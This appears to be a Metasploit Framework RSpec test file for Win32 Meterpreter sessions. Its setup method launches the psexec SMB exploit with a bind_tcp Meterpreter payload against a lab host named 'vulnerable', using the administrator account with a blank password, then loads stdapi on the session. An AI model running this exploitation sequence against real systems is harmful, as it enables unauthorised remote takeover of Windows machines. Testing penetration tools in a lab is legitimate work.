83 lines
2.0 KiB
Ruby
83 lines
2.0 KiB
Ruby
|
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||
|
|
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'test', 'lib'))
|
||
|
|
|
||
|
|
require 'fileutils'
|
||
|
|
require 'msftest'
|
||
|
|
require 'msf/base'
|
||
|
|
require 'meterpreter_spec_helper'
|
||
|
|
require 'meterpreter_specs'
|
||
|
|
require 'windows_meterpreter_specs'
|
||
|
|
|
||
|
|
module MsfTest
|
||
|
|
|
||
|
|
describe "Win32Meterpreter" do
|
||
|
|
|
||
|
|
# This include brings in all the spec helper methods
|
||
|
|
include MsfTest::MeterpreterSpecHelper
|
||
|
|
|
||
|
|
# This include brings in all the specs that are generic across the
|
||
|
|
# meterpreter platforms
|
||
|
|
include MsfTest::MeterpreterSpecs
|
||
|
|
|
||
|
|
# This include brings in all the specs that are generic across the
|
||
|
|
# windows meterpreter platforms
|
||
|
|
include MsfTest::WindowsMeterpreterSpecs
|
||
|
|
|
||
|
|
before :all do
|
||
|
|
@meterpreter_type = "win32"
|
||
|
|
|
||
|
|
## Set up an outupt directory
|
||
|
|
@output_directory = "test_output_#{@meterpreter_type}"
|
||
|
|
|
||
|
|
if File.directory? @output_directory
|
||
|
|
FileUtils.rm_rf(@output_directory)
|
||
|
|
end
|
||
|
|
|
||
|
|
Dir.mkdir(@output_directory)
|
||
|
|
@default_file = "#{@output_directory}/default"
|
||
|
|
|
||
|
|
create_session_windows_x32
|
||
|
|
end
|
||
|
|
|
||
|
|
before :each do
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
after :each do
|
||
|
|
@session.init_ui(@input, @output)
|
||
|
|
|
||
|
|
## Clean Up
|
||
|
|
#FileUtils.rm_rf(@output_directory)
|
||
|
|
end
|
||
|
|
|
||
|
|
|
||
|
|
def create_session_windows_x32
|
||
|
|
|
||
|
|
## Setup for win32
|
||
|
|
@framework = Msf::Simple::Framework.create
|
||
|
|
@exploit_name = 'windows/smb/psexec'
|
||
|
|
@payload_name = 'windows/meterpreter/bind_tcp'
|
||
|
|
@input = Rex::Ui::Text::Input::Stdio.new
|
||
|
|
@output = Rex::Ui::Text::Output::File.new(@default_file)
|
||
|
|
|
||
|
|
# Initialize the exploit instance
|
||
|
|
exploit = @framework.exploits.create(@exploit_name)
|
||
|
|
|
||
|
|
## Fire it off against a known-vulnerable host
|
||
|
|
@session = exploit.exploit_simple(
|
||
|
|
'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""},
|
||
|
|
'Payload' => @payload_name,
|
||
|
|
'LocalInput' => @input,
|
||
|
|
'LocalOutput' => @output)
|
||
|
|
|
||
|
|
## If a session came back, try to interact with it.
|
||
|
|
if @session
|
||
|
|
@session.load_stdapi
|
||
|
|
else
|
||
|
|
flunk "Couldn't get a session!"
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
end
|